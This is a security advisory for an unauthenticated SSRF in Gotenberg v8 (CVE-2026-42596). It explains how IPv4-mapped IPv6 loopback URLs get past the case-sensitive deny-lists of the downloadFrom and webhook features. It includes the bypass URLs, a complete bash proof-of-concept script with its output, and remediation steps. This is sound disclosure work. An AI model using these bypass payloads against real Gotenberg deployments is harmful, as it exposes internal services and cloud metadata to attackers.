PT-2026-38386 · Go · Github.Com/Gotenberg/Gotenberg/V8
Published
2026-05-07
·
Updated
2026-05-07
·
CVE-2026-42596
CVSS v3.1
9.4
Critical
| Vector | AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:L |
Summary
The default deny-lists used by Gotenberg's
downloadFrom feature and webhook feature are bypassable. Because the filter is regex-based and case-sensitive, an unauthenticated attacker can supply URLs such as http://[::ffff:127.0.0.1]:... and reach loopback or private HTTP services that the default deny-list is intended to block. This crosses a real security boundary because an external caller can force the server to make outbound requests to internal-only targets.Details
The issue originates from the shipped default deny-list regexes and the way those regexes are applied:
pkg/modules/api/api.go:198-200defines the defaultapi-download-from-deny-list.pkg/modules/webhook/webhook.go:41-43defines the defaultwebhook-deny-list.pkg/gotenberg/filter.go:20-69evaluates those patterns withregexp2using case-sensitive matching.
The attacker-controlled URL then reaches outbound request sinks:
pkg/modules/api/context.go:208-282- Reads attacker-supplied
downloadFrom. - Calls
gotenberg.FilterDeadline(...). - Issues an outbound GET with
retryablehttp.NewRequest(...)andclient.Do(...). pkg/modules/webhook/middleware.go:99-217- Reads
Gotenberg-Webhook-UrlandGotenberg-Webhook-Events-Url. - Calls
gotenberg.FilterDeadline(...). - Constructs a
clientfor outbound delivery. pkg/modules/webhook/client.go:39-152- Sends the success or error webhook request.
pkg/modules/webhook/client.go:155-216- Sends the webhook event request.
Why the bypass works:
- The default deny-list only blocks lowercase
http://andhttps://prefixes. - The filtering logic performs case-sensitive regex matching on the raw user input.
- Go's HTTP stack accepts multiple textual representations of loopback/private addresses that are not covered by the default regex, including IPv4-mapped IPv6 loopback like
http://[::ffff:127.0.0.1]:18081/.... - As a result, a URL can fail the deny-list check but still be interpreted as a valid loopback/private destination by the outbound client.
Confirmed bypass used during verification:
http://[::ffff:127.0.0.1]:18081/page 1.pdfhttp://[::ffff:127.0.0.1]:18082/uploadhttp://[::ffff:127.0.0.1]:18082/events
This is not the same issue as the previously published Chromium deny-list advisories. This finding affects the separate
downloadFrom and webhook URL filtering paths.PoC
One-command verification
From the repository root:
cd '/Users/r1zzg0d/Documents/CVE hunting/targets/gotenberg'
./tmp/poc/verify ssrf poc.sh
What the script does:
- Builds or reuses a slim local Gotenberg image that contains only the modules needed for this proof.
- Starts Gotenberg on
127.0.0.1:3000. - Starts an internal-only helper listener inside the same container network namespace.
- Verifies
downloadFromSSRF by forcing Gotenberg to fetch a PDF fromhttp://[::ffff:127.0.0.1]:18081/page 1.pdf. - Verifies
webhookSSRF by forcing Gotenberg to POST tohttp://[::ffff:127.0.0.1]:18082/uploadandhttp://[::ffff:127.0.0.1]:18082/events. - Writes evidence artifacts to disk.
Expected success output:
[4/6] Verifying downloadFrom SSRF bypass with http://[::ffff:127.0.0.1]:18081/page 1.pdf
PASS downloadFrom: Gotenberg fetched an internal-only loopback URL and returned PDF metadata
[5/6] Verifying webhook SSRF bypass with http://[::ffff:127.0.0.1]:18082/upload
PASS webhook: Gotenberg POSTed to an internal-only loopback listener
Evidence files created by the script:
/Users/r1zzg0d/Documents/CVE hunting/targets/gotenberg/tmp/poc/artifacts/downloadfrom-metadata.json/Users/r1zzg0d/Documents/CVE hunting/targets/gotenberg/tmp/poc/artifacts/webhook.log
Manual evidence commands
The following commands were run after the verifier completed successfully:
jq '.' '/Users/r1zzg0d/Documents/CVE hunting/targets/gotenberg/tmp/poc/artifacts/downloadfrom-metadata.json'
cat '/Users/r1zzg0d/Documents/CVE hunting/targets/gotenberg/tmp/poc/artifacts/webhook.log'
Observed output:
{
"page 1.pdf": {
"CreateDate": "2025:02:17 14:46:38+00:00",
"FileType": "PDF",
"FileTypeExtension": "pdf",
"Linearized": "No",
"MIMEType": "application/pdf",
"ModifyDate": "2025:02:17 14:46:38+00:00",
"PDFVersion": 1.7,
"PageCount": 1,
"Producer": "PDFTron built-in office converter, V11.2.0-d27340a176
",
"SourceFile": "/tmp/d924af59-709e-4d08-8ebc-dafec9048235/b0d0dcdc-84ff-4919-8fe6-f6bdbbd9a68a/eae4a9bc-e3e3-48e2-b5bd-114408d87d84.pdf"
}
}
POST /upload len=4363 content-type=application/pdf
POST /events len=126 content-type=application/json
PoC Video:
Interpretation:
- The JSON metadata proves Gotenberg successfully fetched and parsed a PDF from an internal loopback URL.
- The webhook log proves Gotenberg sent outbound requests to internal loopback endpoints that should have been blocked by the default deny-list.
verify ssrf poc.sh
#!/usr/bin/env bash
set -euo pipefail
ROOT="$(cd "$(dirname "${BASH SOURCE[0]}")/../.." && pwd)"
IMAGE="${IMAGE:-gotenberg-local-ssrf-poc:minimal}"
DOCKERFILE="${DOCKERFILE:-$ROOT/tmp/poc/Dockerfile.minimal}"
GOTENBERG NAME="${GOTENBERG NAME:-gotenberg-ssrf-poc}"
HELPER NAME="${HELPER NAME:-gotenberg-ssrf-helper}"
PORT="${PORT:-3000}"
ARTIFACT DIR="${ARTIFACT DIR:-$ROOT/tmp/poc/artifacts}"
TEST PDF="$ROOT/test/integration/testdata/page 1.pdf"
DOWNLOAD JSON="$ARTIFACT DIR/downloadfrom-metadata.json"
WEBHOOK LOG="$ARTIFACT DIR/webhook.log"
HELPER SCRIPT="$ARTIFACT DIR/internal helper.py"
DOWNLOAD BYPASS URL="http://[::ffff:127.0.0.1]:18081/page 1.pdf"
WEBHOOK UPLOAD BYPASS URL="http://[::ffff:127.0.0.1]:18082/upload"
WEBHOOK EVENTS BYPASS URL="http://[::ffff:127.0.0.1]:18082/events"
PDF ENGINE FLAGS=(
"--pdfengines-merge-engines=qpdf"
"--pdfengines-split-engines=qpdf"
"--pdfengines-flatten-engines=qpdf"
"--pdfengines-convert-engines=qpdf"
"--pdfengines-read-metadata-engines=exiftool"
"--pdfengines-write-metadata-engines=exiftool"
"--pdfengines-encrypt-engines=qpdf"
"--pdfengines-embed-engines=qpdf"
"--pdfengines-read-bookmarks-engines=qpdf"
"--pdfengines-write-bookmarks-engines=qpdf"
"--pdfengines-watermark-engines=qpdf"
"--pdfengines-stamp-engines=qpdf"
"--pdfengines-rotate-engines=qpdf"
)
red() { printf '033[31m%s033[0m
' "$*"; }
green() { printf '033[32m%s033[0m
' "$*"; }
blue() { printf '033[34m%s033[0m
' "$*"; }
cleanup() {
docker rm -f "$HELPER NAME" >/dev/null 2>&1 || true
docker rm -f "$GOTENBERG NAME" >/dev/null 2>&1 || true
}
fail() {
red "$1"
printf '
--- gotenberg logs ---
'
docker logs "$GOTENBERG NAME" 2>/dev/null || true
printf '
--- helper logs ---
'
docker logs "$HELPER NAME" 2>/dev/null || true
exit 1
}
trap cleanup EXIT
mkdir -p "$ARTIFACT DIR"
: > "$WEBHOOK LOG"
if [[ ! -f "$TEST PDF" ]]; then
red "Missing test PDF: $TEST PDF"
exit 1
fi
if [[ ! -f "$DOCKERFILE" ]]; then
red "Missing Dockerfile: $DOCKERFILE"
exit 1
fi
if ! docker image inspect "$IMAGE" >/dev/null 2>&1; then
blue "[1/6] Building slim verification image: $IMAGE"
docker build -q -t "$IMAGE" -f "$DOCKERFILE" "$ROOT" >/dev/null
else
blue "[1/6] Reusing existing image: $IMAGE"
fi
blue "[2/6] Starting minimal Gotenberg on http://127.0.0.1:$PORT"
cleanup
docker run -d --rm
--name "$GOTENBERG NAME"
-p "$PORT:3000"
"$IMAGE"
--webhook-enable-sync-mode=true
"${PDF ENGINE FLAGS[@]}" >/dev/null
for in $(seq 1 45); do
if curl -fsS "http://127.0.0.1:$PORT/health" >/dev/null 2>&1; then
break
fi
sleep 1
done
if ! curl -fsS "http://127.0.0.1:$PORT/health" >/dev/null 2>&1; then
fail "Gotenberg did not become healthy"
fi
cat > "$HELPER SCRIPT" <<'PY'
from http.server import BaseHTTPRequestHandler, HTTPServer
from pathlib import Path
from threading import Event, Thread
PDF PATH = Path("/srv/page 1.pdf")
LOG PATH = Path("/work/webhook.log")
PDF BYTES = PDF PATH.read bytes()
class DownloadHandler(BaseHTTPRequestHandler):
def do GET(self):
self.send response(200)
self.send header("Content-Type", "application/pdf")
self.send header("Content-Disposition", 'attachment; filename="page 1.pdf"')
self.send header("Content-Length", str(len(PDF BYTES)))
self.end headers()
self.wfile.write(PDF BYTES)
def log message(self, fmt, *args):
return
class WebhookHandler(BaseHTTPRequestHandler):
def do POST(self):
length = int(self.headers.get("Content-Length", "0"))
body = self.rfile.read(length)
with LOG PATH.open("a", encoding="utf-8") as f:
f.write(
f"{self.command} {self.path} len={len(body)} "
f"content-type={self.headers.get('Content-Type', '')}
"
)
self.send response(200)
self.end headers()
do PATCH = do POST
do PUT = do POST
def log message(self, fmt, *args):
return
def serve(addr, handler):
HTTPServer(addr, handler).serve forever()
Thread(target=serve, args=(("127.0.0.1", 18081), DownloadHandler), daemon=True).start()
Thread(target=serve, args=(("127.0.0.1", 18082), WebhookHandler), daemon=True).start()
print("internal helper ready", flush=True)
Event().wait()
PY
blue "[3/6] Starting internal-only helper inside the same network namespace"
docker run -d --rm
--name "$HELPER NAME"
--network "container:$GOTENBERG NAME"
-v "$TEST PDF:/srv/page 1.pdf:ro"
-v "$ARTIFACT DIR:/work"
-v "$HELPER SCRIPT:/app/internal helper.py:ro"
python:3.11-alpine
python /app/internal helper.py >/dev/null
for in $(seq 1 20); do
if docker logs "$HELPER NAME" 2>&1 | grep -q "internal helper ready"; then
break
fi
sleep 1
done
if ! docker logs "$HELPER NAME" 2>&1 | grep -q "internal helper ready"; then
fail "Internal helper did not start"
fi
blue "[4/6] Verifying downloadFrom SSRF bypass with $DOWNLOAD BYPASS URL"
download status="$(
curl -sS
-o "$DOWNLOAD JSON"
-w '%{http code}'
-X POST "http://127.0.0.1:$PORT/forms/pdfengines/metadata/read"
-F "downloadFrom=[{"url":"$DOWNLOAD BYPASS URL"}]"
)"
if [[ "$download status" != "200" ]]; then
cat "$DOWNLOAD JSON" 2>/dev/null || true
fail "downloadFrom verification failed with HTTP $download status"
fi
if ! jq -e 'has("page 1.pdf")' "$DOWNLOAD JSON" >/dev/null 2>&1; then
cat "$DOWNLOAD JSON" || true
fail "downloadFrom verification failed: expected metadata for page 1.pdf"
fi
green "PASS downloadFrom: Gotenberg fetched an internal-only loopback URL and returned PDF metadata"
blue "[5/6] Verifying webhook SSRF bypass with $WEBHOOK UPLOAD BYPASS URL"
webhook status="$(
curl -sS
-o /dev/null
-w '%{http code}'
-X POST "http://127.0.0.1:$PORT/forms/pdfengines/flatten"
-H "Gotenberg-Webhook-Url: $WEBHOOK UPLOAD BYPASS URL"
-H "Gotenberg-Webhook-Events-Url: $WEBHOOK EVENTS BYPASS URL"
-F "files=@$TEST PDF"
)"
if [[ "$webhook status" != "204" ]]; then
fail "webhook verification failed with HTTP $webhook status"
fi
if ! grep -q '^POST /upload ' "$WEBHOOK LOG"; then
cat "$WEBHOOK LOG" || true
fail "webhook verification failed: /upload was not hit"
fi
if ! grep -q '^POST /events ' "$WEBHOOK LOG"; then
cat "$WEBHOOK LOG" || true
fail "webhook verification failed: /events was not hit"
fi
green "PASS webhook: Gotenberg POSTed to an internal-only loopback listener"
blue "[6/6] Evidence files"
printf 'downloadFrom metadata: %s
' "$DOWNLOAD JSON"
printf 'webhook log: %s
' "$WEBHOOK LOG"
printf '
--- downloadFrom metadata excerpt ---
'
jq '{filename present: has("page 1.pdf"), sample keys: (."page 1.pdf" | keys[0:6])}' "$DOWNLOAD JSON"
printf '
--- webhook log ---
'
cat "$WEBHOOK LOG"
printf '
'
green "Verification complete"
printf 'Tip: the first run may take time because it builds and pulls images. For a 10-15 second video, run this script once to warm the cache, then record the second run.
'
Impact
This is an unauthenticated SSRF vulnerability. Any user who can reach a Gotenberg instance can coerce it into making outbound HTTP requests to loopback and potentially other private/internal addresses despite the default deny-list. That can expose internal HTTP services, cloud metadata endpoints, local admin APIs, and service-to-service interfaces that are not intended to be reachable from the public network.
Affected users are operators who rely on the default
downloadFrom and webhook deny-lists for SSRF protection. In practice, an attacker can:- Read content from internal HTTP endpoints through
downloadFrom. - Trigger state-changing POST/PATCH/PUT requests through the
webhookfeature. - Reach services bound only to localhost from the perspective of the Gotenberg host or container.
Remediation
-
Normalize and structurally validate URLs before any allow-list or deny-list decision. Parse with
net/url, lowercase the scheme/host where appropriate, canonicalize bracketed IPv6 forms, strip trailing dots, and normalize IPv4-mapped IPv6 addresses before evaluation. -
Replace regex-only private-address filtering with resolved IP validation. Resolve the hostname, evaluate every resolved IP with
net/netip, and block loopback, RFC1918, link-local, unspecified, ULA, multicast, and IPv4-mapped IPv6 private/loopback targets. Re-validate after redirects as well. -
Reconsider the security default for outbound URL features. Either disable
downloadFromandwebhookby default, or ship a strict default policy that only allowshttp/httpsplus explicit operator allow-lists. If the feature remains enabled, apply the same canonicalization and IP checks consistently todownloadFrom,webhook, error URLs, and event URLs.
Fix
SSRF
Found an issue in the description? Have something to add? Feel free to write us 👾
Weakness Enumeration
Related Identifiers
Affected Products
Github.Com/Gotenberg/Gotenberg/V8